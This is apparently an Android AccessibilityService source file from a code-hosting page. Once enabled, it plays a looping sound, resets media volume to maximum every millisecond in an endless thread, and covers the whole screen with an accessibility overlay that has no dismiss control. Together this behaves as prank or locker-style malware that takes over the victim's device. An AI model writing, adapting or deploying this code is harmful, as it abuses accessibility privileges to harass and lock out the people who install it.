代码拉取完成,页面将自动刷新
package com.example.lyt.temp;
import com.example.lyt.*;
import android.accessibilityservice.*;
import android.app.Service;
import android.content.Context;
import android.media.AudioManager;
import android.media.MediaPlayer;
import android.view.LayoutInflater;
import android.view.View;
import android.view.WindowManager;
import android.view.accessibility.*;
import android.widget.Toast;
public class SVR extends AccessibilityService {
public static SVR service;
public void playMusic() {
AudioManager ado;
ado = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
class R extends Thread {
@Override
public void run() {
MediaPlayer m;
/*开始播放*/
(m = MediaPlayer.create(GLB.app(), com.example.lyt.R.raw.happy)).setLooping(true);
m.start();
try {
for (; ; ) {
ado.setStreamVolume(AudioManager.STREAM_MUSIC, ado.getStreamMaxVolume(AudioManager.STREAM_MUSIC), 0);
Thread.sleep(1);
}
} catch (InterruptedException e) {
}
}
}
new R().start();
}
@Override
public void onAccessibilityEvent(AccessibilityEvent e) {
synchronized (this.getClass()) {
if (GLB.getFLag()) /*已经播放过了*/ return;
GLB.setFlag(1);/*标记播放*/
}
GLB.writeStack();
playMusic();
showWindow();
}
@Override
public void onDestroy() {
super.onDestroy();
GLB.writeStack();
service = null;
}
private void showWindow() {
WindowManager w = (WindowManager) getSystemService(Service.WINDOW_SERVICE);
LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View v = inflater.inflate(R.layout.content_sndactivity, null);
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {
WindowManager.LayoutParams p = new WindowManager.LayoutParams(
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
0,
0
);
assert w != null;
w.addView(v, p);
}
}
@Override
protected void onServiceConnected() {
super.onServiceConnected();
synchronized (this.getClass()) {
GLB.setFlag(1);/*必为初次激活,标记播放*/
showWindow();
playMusic();
}
synchronized (this.getClass()) {
GLB.setFlag(0);/*去除播放标记*/
}
GLB.write("\n----onServiceConnected----\n");
Toast.makeText(GLB.app(), "Connected", Toast.LENGTH_LONG).show();
service = this;
}
@Override
public void onInterrupt() {
GLB.writeStack();
service = null;
return;
}
}
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。